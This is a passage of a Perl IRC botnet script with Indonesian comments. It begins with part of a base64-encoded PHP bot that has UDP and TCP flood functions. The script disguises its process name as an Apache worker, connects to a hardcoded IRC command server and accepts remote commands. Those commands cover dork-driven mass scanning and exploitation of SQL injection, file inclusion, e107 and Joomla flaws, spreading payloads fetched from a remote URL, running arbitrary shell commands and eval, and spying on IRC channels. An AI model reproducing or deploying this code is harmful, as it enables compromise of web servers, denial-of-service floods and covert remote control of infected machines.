ZCgwLGNvdW50KCRwcmlmeSkgLSAxKV07DQogIA0KICAkdGhpcy 0+c2VuZCgiVVNFUiAiLiRpZGVudC4iIDEyNy4wLjAuMSBsb2Nh bGhvc3QgOiIucGhwX3VuYW1lKCkuIiIpOw0KICB9DQoNCiAgZn VuY3Rpb24gdWRwZmxvb2QoJGhvc3QsJHBhY2tldHNpemUsJHRp bWUpIHsNCgkkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWy djaGFuJ10sIltcMlVkcEZsb29kIFN0YXJ0ZWQhXDJdIik7IA0K CSRwYWNrZXQgPSAiIjsNCglmb3IoJGk9MDskaTwkcGFja2V0c2 l6ZTskaSsrKSB7ICRwYWNrZXQgLj0gY2hyKG10X3JhbmQoMSwy NTYpKTsgfQ0KCSR0aW1laSA9IHRpbWUoKTsNCgkkaSA9IDA7DQ oJd2hpbGUodGltZSgpLSR0aW1laSA8ICR0aW1lKSB7DQoJCSRm cD1mc29ja29wZW4oInVkcDovLyIuJGhvc3QsbXRfcmFuZCgwLD YwMDApLCRlLCRzLDUpOw0KICAgICAgCWZ3cml0ZSgkZnAsJHBh Y2tldCk7DQogICAgICAgCWZjbG9zZSgkZnApOw0KCQkkaSsrOw 0KCX0NCgkkZW52ID0gJGkgKiAkcGFja2V0c2l6ZTsNCgkkZW52 ID0gJGVudiAvIDEwNDg1NzY7DQoJJHZlbCA9ICRlbnYgLyAkdG ltZTsNCgkkdmVsID0gcm91bmQoJHZlbCk7DQoJJGVudiA9IHJv dW5kKCRlbnYpOw0KCSR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb2 5maWdbJ2NoYW4nXSwiW1wyVWRwRmxvb2QgRmluaXNoZWQhXDJd OiAkZW52IE1CIGVudmlhZG9zIC8gTWVkaWE6ICR2ZWwgTUIvcy AiKTsNCn0NCiBmdW5jdGlvbiB0Y3BmbG9vZCgkaG9zdCwkcGFj a2V0cywkcGFja2V0c2l6ZSwkcG9ydCwkZGVsYXkpIA0KIHsgDQ ogICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hh biddLCJbXDJUY3BGbG9vZCBTdGFydGVkIVwyXSIpOyANCiAgIC AkcGFja2V0ID0gIiI7IA0KICAgIGZvcigkaT0wOyRpPCRwYWNr ZXRzaXplOyRpKyspIA0KICAgICAgICRwYWNrZXQgLj0gY2hyKG 10X3JhbmQoMSwyNTYpKTsgDQogICAgZm9yKCRpPTA7JGk8JHBh Y2tldHM7JGkrKykgDQogICAgeyANCg0KDQogICAgICAgaWYoIS RmcD1mc29ja29wZW4oInRjcDovLyIuJGhvc3QsJHBvcnQsJGUs JHMsNSkpIA0KICAgICAgIHsgDQogICAgICAgICAgJHRoaXMtPn ByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJUY3BG bG9vZFwyXTogRXJyb3I6IDwkZT4iKTsgDQogICAgICAgICAgcm V0dXJuIDA7IA0KICAgICAgIH0gDQogICAgICAgZWxzZSANCiAg ICAgICB7IA0KICAgICAgICAgIGZ3cml0ZSgkZnAsJHBhY2tldC k7IA0KICAgICAgICAgIGZjbG9zZSgkZnApOyANCiAgICAgICB9 IA0KICAgICAgIHNsZWVwKCRkZWxheSk7IA0KICAgIH0gDQogIC AgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbidd LCJbXDJUY3BGbG9vZCBGaW5pc2hlZCFcMl06IENvbmZpZyAtIC RwYWNrZXRzIHBhY290ZXMgcGFyYSAkaG9zdDokcG9ydC4iKTsg DQogfQ0KfQ0KJGJvdCA9IG5ldyBwQm90OyANCiRib3QtPnN0YX J0KCk7IA0K\"));;die();";
#$ebot = "";
##[ KONFIGURASI IRC ]##
my @servers = ("f2011.knaqu.eu");
my @ports = ("4244");
my @nickcrs = ("Scanner");
my %bot = (
nick => $nickcrs[rand(scalar(@nickcrs))].-int(rand(10)).int(rand(10)),
ident => "Alb",
chan => "##linux##",
server => $servers[rand(scalar(@servers))],
port => $ports[rand(scalar(@ports))],
passerv => ""
);
my $fakeproc = "/usr/sbin/apache2-fork -x start";
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
chdir("/tmp");
$0 = "$fakeproc"."\0"x16;;
my $pid = fork;
exit if $pid;
##[ KONFIGURASI USER ##
my %boss = (
A => {
pass => 'yes',
status => "admin",
cryptz => 0,
login => 0
}
);
##[ KONFIGURASI LOCAL ]##
my $rcetest = "|echo%20%22Origins%22;echo%20%22scanner%22;|";
my $lfitest = "../../../../../../../../../../../../../../../proc/self/environ%00";
my $xsslfitst= "../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././..";
my $lfiid2 = bukasitus($Ckrid2);
my $lfisprd = bukasitus($spread);
my $lfisprd2 = bukasitus($spread2);
my $e107sprd = "include('".$spread."')";
my $e107sprd2= "passthru('".$e107cmdsp."');exec('".$e107cmdsp."');system('".$e107cmdsp."');shell_exec('".$e107cmdsp."');";
my $e107sprd3= "passthru('".$e107cmdsp2."');exec('".$e107cmdsp2."');system('".$e107cmdsp2."');shell_exec('".$e107cmdsp2."');";
my $e107sprd4= "passthru('".$e107cmdsp3."');exec('".$e107cmdsp3."');system('".$e107cmdsp3."');shell_exec('".$e107cmdsp3."');";
my $Originscmd= "http://www.freewebtown.com/origins/x.txt";
my $cmdlfiu = "";
my $cmdrfiu = "";
my $cmdxmlu = "";
my $sqltest = "'";
my $lfiUA = "";
##[ KONFIGURASI SPY ]##
my %spy = (
host => "",
chanz => [""],
wordz => ['http://.+?[=]'],
foundz => []
);
##[ KONFIGURASI BOT ]##
my %conf = (
showsite => 0,
showdbse => 0,
linez => 3,
sleepz => 3,
rfipid => 50,
rficnt => 100,
rficnt2 => 200,
timeout => 15,
);
##[ KONFIGURASI WARNA ]##
my %colz = (
1 => "" , 2 => "2",
3 => "3" , 4 => "4",
5 => "5" , 6 => "6",
7 => "7" , 8 => "8",
9 => "9" , 10 => "10",
11 => "11" , 12 => "12",
13 => "13" , 14 => "14",
);
##[ PARAMETER BARIS PERINTAH ]##
$bot{chan} = "#".$ARGV[0] if $ARGV[0];
$bot{server} = $ARGV[1] if $ARGV[1];
$bot{port} = $ARGV[2] if $ARGV[2];
##[ INISIALISASI VARIABEL ]##
my $dbgchan = "#Rom"; #For debugging purposes (Optional)
my @chans = ($bot{chan});
my @badbugz = ("scan","bug"); #Bad bugs to cancel scanning
my @baddorkz = ("dork"); #Bad dorks to cancel scanning
my @badlinkz = ("access*log","accesslog","awstats","error.log","wwwstats","google.com","yahoo.com"); #Bad links to exclude
my $keluar = 0;
my $sock;
##[ PROGRAM UTAMA ]##
if (fork() == 0) {
while ($keluar != 1) {irc_connect(); }
die("KeLuaR!");
}
##[ SUBRUTIN KONEKSI IRC ]##
sub irc_connect {
$sock = IO::Socket::INET->new(PeerAddr => $bot{server},
PeerPort => $bot{port},
Proto => 'tcp')
or die "Error: Ga bisa connect ke ".$bot{server}.":".$bot{port}."!\r\n";
$sock->autoflush(1);
if ($bot{passerv} != "") {irc_pasv($bot{passerv});}
irc_nick($bot{nick});
irc_user($bot{ident});
my ($baris,$hb);
my $loginboss = 0;
my $userstat = "";
while ( $baris = <$sock> ) {
$hb++;
##[ PARSING ]##
my $com;
my $me = $bot{nick};
my ($fcom,$dteks,@teks) = split(/\s+:/,$baris);
my ($duhost,$dcom,$dtarget) = split(/ /,$fcom);
my ($dnick,$dhost) = split(/!/,$duhost);
$e107sprd2= "passthru('".$e107cmdsp."');exec('".$e107cmdsp."');system('".$e107cmdsp."');shell_exec('".$e107cmdsp."');";
$e107sprd3= "passthru('".$e107cmdsp2."');exec('".$e107cmdsp2."');system('".$e107cmdsp2."');shell_exec('".$e107cmdsp2."');";
$e107sprd4= "passthru('".$e107cmdsp3."');exec('".$e107cmdsp3."');system('".$e107cmdsp3."');shell_exec('".$e107cmdsp3."');";
$dcom = "" unless ($dcom);
$dtarget = "" unless ($dtarget);
$dnick =~ s/://;
$dteks = trimrn($dteks);
if ($dteks =~ /^[$cmdpre](.*)/) { $com = $1; } else { $com = ""; }
##[ CEK USER ]##
if ($boss{$dnick}) { ($loginboss,$userstat) = ($boss{$dnick}{"login"},$boss{$dnick}{"status"}); }
else { ($loginboss,$userstat) = (0,""); }
##[ RESPON KE SERVER ]##
if ($dnick =~ /PING/) { irc_raw("PONG $dteks"); }
if ($dcom =~ /001/) { irc_join($bot{chan}); sleep(1); irc_join($dbgchan); sleep(1); foreach my $c (@chans) { irc_join($c); sleep(1); } if ((fork() == 0) && ($bot{server} !~ /allnetwork/)) { crsql_scanz("#crack","contact.php",$dorxz,$hb,3,2); exit; } }
elsif ($dcom =~ /NICK|PART|QUIT/) { if ( $boss{$dnick}{"login"} == 1 ) { $boss{$dnick}{"login"} = 0; irc_ntc($dnick,"Logout!"); } }
##[ PERINTAH PUBLIK ]##
if (($dtarget) && ($dtarget eq $me)) { $dtarget = $dnick; }
if (($dteks =~ /$bot{nick}\s+(.+?)\s+(.*)/) && ( fork() == 0 )){
my ($cmdcr,$crcmd)=($1,$2);
my $crscan = $cmdcr." ".$crcmd;
my $cmd = "python Origins ".$crcmd;
if($cmdcr =~ /sqli/){
irc_msg($dtarget,"Procesing [".$colz{3}."SQLI".$colz{1}."] ".$colz{14}.$crcmd);
if ($cmd =~ /;/) { irc_msg($dtarget,$colz{5}."Error!"); return; }
else{
my @output = `$cmd`;
my $i = 0;
foreach my $out (@output) {
$i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
irc_msg($dtarget,$colz{7}."$out");
}
exit;
}
}
elsif($crscan =~ /sql\s+(.+?[=])\s+(.*)/) { if ($dtarget && $dtarget ne $me) { crsql_scanz($dtarget,$1,$2,$hb,1,1); exit; }}
elsif($crscan =~ /domxml\s+(.+?)\s+(.*)/) { if ($dtarget && $dtarget ne $me) { crsql_scanz($dtarget,$1,$2,$hb,2,2); exit; }}
elsif($crscan =~ /xml\s+(.+?)\s+(.*)/) { if ($dtarget && $dtarget ne $me) { crsql_scanz($dtarget,$1,$2,$hb,2,1); exit; }}
elsif($crscan =~ /xss\s+(.+?[=])\s+(.*)/) { if ($dtarget && $dtarget ne $me) { crsql_scanz($dtarget,$1,$2,$hb,4,1); exit; }}
elsif($crscan =~ /dome107\s+(.+?)\s+(.*)/) { if ($dtarget && $dtarget ne $me) { crsql_scanz($dtarget,$1,$2,$hb,3,2); exit; }}
elsif($crscan =~ /e107\s+(.+?)\s+(.*)/) { if ($dtarget && $dtarget ne $me) { crsql_scanz($dtarget,$1,$2,$hb,3,1); exit; }}
elsif($crscan =~ /domscan\s+(.+?[=])\s+(.*)/) { if ($dtarget && $dtarget ne $me) { s_scanz($dtarget,$1,$2,$hb,2,2); exit; }}
elsif($crscan =~ /scan\s+(.+?[=])\s+(.*)/) { if ($dtarget && $dtarget ne $me) { s_scanz($dtarget,$1,$2,$hb,2,1); exit; }}
}
if ($com =~ /^help$/) { bot_help($dtarget,1); }
elsif ($com =~ /^info$/) { bot_info($dtarget); }
elsif ($com =~ /^url(en|de)\s+(.*)/) {
my $url = $2; my $en;
if ( $1 eq "en" ) { $en = "Encode"; $url = urlen($url); }
elsif ( $1 eq "de" ) { $en = "Decode"; $url = urlde($url); }
msgi($dtarget,$colz{3}."URL".$colz{8}." $en",$colz{7}.$url);
}
elsif ($com =~ /^cek\s+(http:\/\/.*[=])/) { cek_shell($dtarget,$dnick,$1); }
###
elsif ($com =~ /^ip\s+(.*)/) { cr_ipcek($dtarget,$1); }
elsif ($com =~ /^zip\s+(.*)/) { cr_zipcek($dtarget,$1); }
elsif ($com =~ /^textenc\s+(.*)/) { cr_encrypt($dtarget,$1); }
elsif ($com =~ /^textdec\s+(.*)/) { cr_decrypt($dtarget,$1); }
###
elsif ($com =~ /^respon/) { cek_respon($dtarget); }
elsif ($com =~ /^milw0rm\s+(.*)/) { milw0rm($dtarget,$1); }
elsif ($com =~ /^auth$|auth\s+(.*)/ && $boss{$dnick}) {
my $pass = $1; my $auth = $boss{$dnick}{"login"};
if ( $pass && $auth == 0 ) {
if ($boss{$dnick}{"cryptz"} == 1) { $pass = cryptz($pass); }
if ($pass eq $boss{$dnick}{"pass"}) {
$boss{$dnick}{"login"} = 1;
irc_ntc($dnick,"OK ".$boss{$dnick}{"status"}."!");
}
else { irc_ntc($dnick,"Error!"); }
}
else {
if ($auth == 0) { irc_ntc($dnick,"Blom auth!"); }
else { irc_ntc($dnick,$boss{$dnick}{"status"}."!"); } }
}
if ($dtarget && $dtarget ne $me) {
if (($com =~ /^scan\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,$1,$2,$hb,1,1); exit; }
elsif (($com =~ /^scan2\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,$1,$2,$hb,2,1); exit; }
elsif (($com =~ /^cmdlfi\s+(.+?[=])\s+(.*)/)) { irc_msg($dtarget,$colz{14}."Cek target ".$colz{8}.$dnick.".!"); cmd_lfi($dtarget,$1,$2); }
elsif (($com =~ /^cmdrfi\s+(.+?[=])\s+(.*)/)) { irc_msg($dtarget,$colz{14}."Cek target ".$colz{8}.$dnick.".!"); cmd_rfi($dtarget,$1,$2); }
elsif (($com =~ /^cmdxml\s+(.+?)\s+(.*)/)) { irc_msg($dtarget,$colz{14}."Cek target ".$colz{8}.$dnick.".!"); cmd_xml($dtarget,$1,$2); }
elsif (($com =~ /^cmde107\s+(.+?)\s+(.*)/)) { irc_msg($dtarget,$colz{14}."Cek target ".$colz{8}.$dnick.".!"); cmd_e107($dtarget,$1,$2); }
}
##[ END OF PUBLIC ]##
##[ PERINTAH USER ]##
if ($loginboss == 1) {
if ($com =~ /^help/) { bot_help($dtarget,2); }
elsif ($com =~ /^join\s+(.*)/) { irc_join($1); push(@chans,$1); }
elsif ($com =~ /^part\s+(.*)/) {
my $pchan = $1; irc_part($1);
for my $i(0..scalar(@chans)) { if ($chans[$i] eq $pchan) { undef $chans[$i]; } }
}
elsif ($com =~ /^nick\s+(.*)/) { $bot{nick} = $1; irc_nick($bot{nick}); }
elsif ($com =~ /^hitung\s+([0-9].*)/) { $conf{rficnt} = $1; msgi($dtarget,$colz{14}."Count",$colz{8}.$conf{rficnt}); }
elsif ($com =~ /^bos$/ ) { my @bos = keys %boss; my $bos2 = join(" ",@bos); msgi($dtarget,$colz{14}."BoZz",$colz{8}.$bos2); }
elsif ($com =~ /^cryptz\s+(.*)/) { msgi($dnick,$colz{14}.$1,$colz{3}." ".cryptz($1)); }
elsif ($com =~ /^logout$/ ) { $boss{$dnick}{"login"} = 0; irc_ntc($dnick,"Logout berhasil!"); }
elsif (($com =~ /^joomla\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,"",$1,$hb,3,1); exit; }
elsif ($com =~ /^sublink\s+(.*)/) { my @sl = lnk_sub($1); foreach my $e(@sl) { irc_msg($dtarget,$colz{8}." ".$e); } }
elsif ($com =~ /^http(1|2|3)\s+(.+?)\s+(.*)/) {
my ($t,$nf,$q) = ($1,$2,$3);
my $h;
if ($t == 1) { $h = bukasitus($q); }
elsif ($t == 2) { $h = bukasitus2($q); }
else { $h = bukasitus3($q); }
f_simpan2($nf,$h); ntci($dnick,"SaVeD ($t)",$nf);
}
elsif ($com =~ /^regex(1|2)\s+(.+?)\s+(.*)/) {
my $n = $1;
my $q = bukasitus($2);
my $regex = $3;
if ($n ==1) {
if ($q !~ /$regex/) { irc_msg($dtarget,$colz{5}."Ga cocok!"); }
while ($q =~ m/$regex/g ) { irc_msg($dtarget,$colz{5}." ".$1); sleep(1); }
}
else {
while ($q =~ m/<a href=\"(.*?)\">http:\/\/(.*?)<\/a>/g) { irc_msg($dtarget,$colz{3}." ".$2); sleep(1); }
}
}
}
##[ END OF USER ]##
##[ PERINTAH ADMIN ]##
if (($loginboss == 1) && ($userstat eq "admin")) {
if ($com =~ /^help/) { bot_help($dtarget,3); }
elsif ($com =~ /^chans/) { my $chans = join(",", @chans); ntci($dnick,"ChaNz",$chans); }
##[ PERINTAH SPY ]##
elsif ($com =~ /^spy$/ ) { ntci($dnick,"SpY","Host: ".$spy{"host"}." Chans: ".join(",", @{ $spy{"chanz"} })." Words: ".join(",", @{ $spy{"wordz"} })); }
elsif ($com =~ /^spy(found|show|clear)$/ ) {
my $n = $1;
if ($n eq "found") { msgi($dtarget,$colz{14}."SpYFouNd",$colz{8}." ".scalar(@{ $spy{"foundz"} })); }
elsif ($n eq "show") {
my $i = 0;
for my $f (@{ $spy{"foundz"} }) { irc_msg($dtarget,$colz{8}." ".$f); }
$i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
}
elsif ($n eq "clear") { $spy{"foundz"} = []; msgi($dtarget,$colz{14}."SpyList",$colz{8}."DiBersiHkaN!"); }
else { msge($dtarget,$colz{14}."Spy",$colz{14}."PeRinTah SaLah!"); }
}
elsif ($com =~ /^spyhost\s+(.*)/ ) { $spy{"host"} = $1; ntci($dnick,"SpYHosT",$spy{"host"}); }
elsif ($com =~ /^spychan\s+(.*)/ ) {
unless ($spy{"host"}) { msge($dtarget,$colz{8}."SiLaHkaN SeT SpyHost TerLebih DahuLu!",""); }
else{ irc_join($1); push @{ $spy{"chanz"} }, $1; my $chans = join(",", @{ $spy{"chanz"} }); ntci($dnick,"SpYChaNz",$chans); }
}
elsif ($com =~ /^spyword\s+(.*)/ ) { push @{ $spy{"wordz"} }, $1; my $words = join(",", @{ $spy{"wordz"} }); ntci($dnick,"SpYWoRDz",$words); }
##[ END OF PERINTAH SPY ]##
elsif ($com =~ /^quit/) { irc_quit("Good Bye!"); $keluar = 1; exit; }
elsif ($com =~ /^keluar/) { irc_quit("Killed!"); $keluar = 1; system("killall perl"); exit; }
elsif ($com =~ /^raw\s+(.*)/) { irc_raw($1); }
elsif ($com =~ /^rfipid\s+([0-9].*)/) { $conf{rfipid} = $1; msgi($dtarget,$colz{14}."Pid",$colz{8}." ".$conf{rfipid}); }
elsif ($com =~ /^crespon(1|2)\s+(.*)/) {
my ($n,$url) = ($1,$2);
if ($n == 1) { $Ckrid = $url; }
elsif ($n == 2) { $Ckrid2 = $url; }
msgi($dtarget,$colz{14}."Respon $n RFI",$colz{7}.$url);
}
elsif ($com =~ /^cspread1\s+(.*)/) {
my $url = $1;
$spread = $url;
$lfisprd = bukasitus($spread);$lfisprd2 = bukasitus($spread2);
$e107sprd = "include('".$spread."')";
msgi($dtarget,$colz{14}."Spread",$colz{14}.$spread);
}
elsif ($com =~ /^cspread2\s+(.*)/) {
my $url = $1;
$spread2 = $url;
$lfisprd = bukasitus($spread);$lfisprd2 = bukasitus($spread2);
msgi($dtarget,$colz{14}."Spread2",$colz{14}.$spread2);
}
elsif ($com =~ /^cmdspread\s+(.*)/) {
my $url = $1;
$e107cmdsp = $url;
msgi($dtarget,$colz{14}."cmdSpread",$colz{7}.$url);
}
elsif ($com =~ /^cmdspread2\s+(.*)/) {
my $url = $1;
$e107cmdsp2 = $url;
msgi($dtarget,$colz{14}."cmdSpread2",$colz{7}.$url);
}
elsif ($com =~ /^cshurl\s+(.*)/) {
my $url = $1."/";
$Ckrid = $url."Ckrid1.txt?";
$Ckrid2 = $url."Ckrid2.txt?";
$spread = $url."Origins.txt?";
$spread2 = $url."Origins2.txt?";
$e107sprd= "include('".$url."Origins.txt?"."')";
$lfisprd = bukasitus($url."Origins.txt?");
$lfisprd2= bukasitus($url."Origins2.txt?");
msgi($dtarget,$colz{14}."shurl",$colz{7}.$url);
}
elsif ($com =~ /^\+bos\s+(.+?)\s+(.*)/) {
$boss{$1}{pass} = "cr";
$boss{$1}{status} = $2;
$boss{$1}{login} = 0;
$boss{$1}{cryptz} = 0;
ntci($dnick,"BoZz","$1 ditambahkan sbg ".$boss{$1}{status});
msgi($1,"BoZz","Hai $1! Ketik .auth ".$boss{$1}{pass});
}
elsif ($com =~ /^eval\s+(.*)/) { eval($1); }
elsif (( $com =~ /^cmd\s+(.*)/) && ( fork() == 0 ) ) {
my $cmd = $1;
if ($cmd =~ /cd (.*)/) { chdir("$1") || irc_msg($dtarget,$colz{5}."Ga bisa ganti dir!"); return; }
my @output = `$cmd`;
my $i = 0;
foreach my $out (@output) {
$i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
irc_msg($dtarget,$colz{14}."$out");
}
exit;
}
}
## END OF ADMIN ##
##[ MATA-MATA ]##
if ($dtarget ne $spy{"host"}) {
my $is_spychan = grep $_ eq $dtarget, @{$spy{"chanz"}};
if ($is_spychan == 1) {
for my $t (@{$spy{"wordz"}}) {
if ($dteks =~ /$t/) {
msgi($spy{"host"},"!",$dteks); sleep(1);
push @{ $spy{"foundz"} }, $dteks;
}
}
}
}
##[ END OF MATA-MATA ]##
}
## END WHILE ##
}
## END KONEK ##
#########################
##[ RUTIN EKSPLOITASI ]##
#########################
sub s_scanz {
my ($to,$bug,$dork,$sb,$type,$autodom) = @_;
$sb = "cr".$sb.".txt";
$dork = bersihdork($to,$dork);
my @domini = SiteDomains();
if($autodom == 1){
my %typez = (
1 => "RFI & LFI & XML & SQL ScaNneR",
2 => "RFI & LFI & XML & SQL ScaN & ExpLoiT",
3 => "JooMLa MaSs ScaN & ExpLoiT"
);
my $badbug = cek_bug($bug);
if ($badbug == 1) { irc_msg($to,$colz{5}."BuGnya JeLek!".$colz{6}." ScaNNinG DiCanCeL"); return; }
my $baddork = cek_dork($dork);
if ($baddork == 1) { irc_msg($to,$colz{5}."DorKnya JeLek!".$colz{6}." ScaNNinG DiCanCeL"); return; }
if ($type == 3) {
my $h = bugjoomla("hitung");
if ($h == 0) { msge($to,"Joomla",$colz{5}."BuGnya Ga BiSa DiLoaD!".$colz{6}." ScaNNinG DiCanCeL"); return; }
}
irc_msg($to,$colz{3}."MeMeRikSa ReSpoN..");
my $stat = cek_respon($to);
if ($stat != 2) { irc_msg($to,$colz{5}."ReSpoN Ga BeKerJa!".$colz{6}." ScaNning diCaNCeL!"); return; }
irc_msg($to,$colz{5}.$typez{$type}." DiMuLai! $colz{14} ".$conf{rfipid}."/PID ID:".$colz{5}." $sb");
irc_msg($to,$colz{10}."BuGz:".$colz{4}." $bug ") if ($type != 3);
irc_msg($to,$colz{10}."DoRkz:".$colz{4}." $dork ");
s_cari($to,$dork,$sb,$bug,$type);
s_eksploit(1,$to,$bug,$dork,$sb) if ($type == 1);
irc_msg($to,$colz{5}.$typez{$type}." SeLeSai!".$colz{3}." $dork ".$colz{1}."ID: $sb");
return;
}
elsif($autodom == 2){
foreach my $Domains(@domini){
my %typez = (
1 => "Auto DorkZ RFI & LFI & XML & SQL ScaNneR",
2 => "Auto DorkZ RFI & LFI & XML & SQL ScaN & ExpLoiT",
3 => "Auto DorkZ JooMLa MaSs ScaN & ExpLoiT"
);
my $badbug = cek_bug($bug);
if ($badbug == 1) { irc_msg($to,$colz{5}."BuGnya JeLek!".$colz{6}." ScaNNinG DiCanCeL"); return; }
my $baddork = cek_dork($Domains." ".$dork);
if ($baddork == 1) { irc_msg($to,$colz{5}."DorKnya JeLek!".$colz{6}." ScaNNinG DiCanCeL"); return; }
if ($type == 3) {
my $h = bugjoomla("hitung");
if ($h == 0) { msge($to,"Joomla",$colz{5}."BuGnya Ga BiSa DiLoaD!".$colz{6}." ScaNNinG DiCanCeL"); return; }
}
irc_msg($to,$colz{3}."MeMeRikSa ReSpoN..");
my $stat = cek_respon($to);
if ($stat != 2) { irc_msg($to,$colz{5}."ReSpoN Ga BeKerJa!".$colz{6}." ScaNning diCaNCeL!"); return; }
irc_msg($to,$colz{5}.$typez{$type}." DiMuLai! $colz{14} ".$conf{rfipid}."/PID ID:".$colz{5}." $sb");
irc_msg($to,$colz{10}."BuGz:".$colz{4}." $bug ") if ($type != 3);
irc_msg($to,$colz{10}."DoRkz:".$colz{4}." ".$Domains." ".$dork);
s_cari($to,$Domains." ".$dork,$sb,$bug,$type);
s_eksploit(1,$to,$bug,$Domains." ".$dork,$sb) if ($type == 1);
irc_msg($to,$colz{5}.$typez{$type}." SeLeSai!".$colz{3}." ".$Domains." ".$dork.$colz{1}." ID: $sb");
}
return;
}
}
sub crsql_scanz {
my ($to,$bug,$dork,$sb,$type,$autodom) = @_;
$sb = "cr".$sb.".txt";
$dork = bersihdork($to,$dork);
my @domini = SiteDomains();
if($autodom == 1){
if ($type == 1){
my $badbug = cek_bug($bug);
if ($badbug == 1) { irc_msg($to,$colz{5}."BuGnya JeLek!".$colz{6}." ScaNNinG DiCanCeL"); return; }
}
my $baddork = cek_dork($dork);
if ($baddork == 1) { irc_msg($to,$colz{5}."DorKnya JeLek!".$colz{6}." ScaNNinG DiCanCeL"); return; }
if ($type == 1){
irc_msg($to,$colz{10}.$colz{5}."SQL ScaN & ExpLoiT DiMuLai! $colz{14} ".$conf{rfipid}."/PID ID:".$colz{5}." $sb");
crsql_cari($to,$bug,$dork,$sb,1);
}
if ($type == 2){
irc_msg($to,$colz{10}.$colz{5}."XML ScaN & ExpLoiT DiMuLai! $colz{14} ".$conf{rfipid}."/PID ID:".$colz{5}." $sb");
crsql_cari($to,$bug,$dork,$sb,2);
}
if ($type == 3){
irc_msg($to,$colz{10}.$colz{5}."e107 ScaN & ExpLoiT DiMuLai! $colz{14} ".$conf{rfipid}."/PID ID:".$colz{5}." $sb");
crsql_cari($to,$bug,$dork,$sb,3);
}
if ($type == 4){
irc_msg($to,$colz{10}.$colz{5}."XSSLFI ScaN & ExpLoiT DiMuLai! $colz{14} ".$conf{rfipid}."/PID ID:".$colz{5}." $sb");
crsql_cari($to,$bug,$dork,$sb,4);
}
irc_msg($to,$colz{10}."BuGz:".$colz{4}." $bug ");
irc_msg($to,$colz{10}."DoRkz:".$colz{4}." $dork ");
if ($type == 1){ irc_msg($to,$colz{7}."SQL ScaN & ExpLoiT SeLeSai!".$colz{3}." $dork ".$colz{1}."ID: $sb"); }
if ($type == 2){ irc_msg($to,$colz{7}."XML ScaN & ExpLoiT SeLeSai!".$colz{3}." $dork ".$colz{1}."ID: $sb"); }
if ($type == 3){ irc_msg($to,$colz{7}."e107 ScaN & ExpLoiT SeLeSai!".$colz{3}." $dork ".$colz{1}."ID: $sb"); }
if ($type == 4){ irc_msg($to,$colz{7}."XSSLFI ScaN & ExpLoiT SeLeSai!".$colz{3}." $dork ".$colz{1}."ID: $sb"); }
return;
}
elsif($autodom == 2){
foreach my $Domains(@domini){
if ($type == 1){
my $badbug = cek_bug($bug);
if ($badbug == 1) { irc_msg($to,$colz{5}."BuGnya JeLek!".$colz{6}." ScaNNinG DiCanCeL"); return; }
}
my $baddork = cek_dork($Domains." ".$dork);
if ($baddork == 1) { irc_msg($to,$colz{5}."DorKnya JeLek!".$colz{6}." ScaNNinG DiCanCeL"); return; }
if ($type == 1){
irc_msg($to,$colz{10}.$colz{5}."Auto DorkZ SQL ScaN & ExpLoiT DiMuLai! $colz{14} ".$conf{rfipid}."/PID ID:".$colz{5}." $sb");
crsql_cari($to,$bug,$Domains." ".$dork,$sb,1);
}
if ($type == 2){
irc_msg($to,$colz{10}.$colz{5}."Auto DorkZ XML ScaN & ExpLoiT DiMuLai! $colz{14} ".$conf{rfipid}."/PID ID:".$colz{5}." $sb");
crsql_cari($to,$bug,$Domains." ".$dork,$sb,2);
}
if ($type == 3){
irc_msg($to,$colz{10}.$colz{5}."Auto DorkZ e107 ScaN & ExpLoiT DiMuLai! $colz{14} ".$conf{rfipid}."/PID ID:".$colz{5}." $sb");
crsql_cari($to,$bug,$Domains." ".$dork,$sb,3);
}
if ($type == 4){
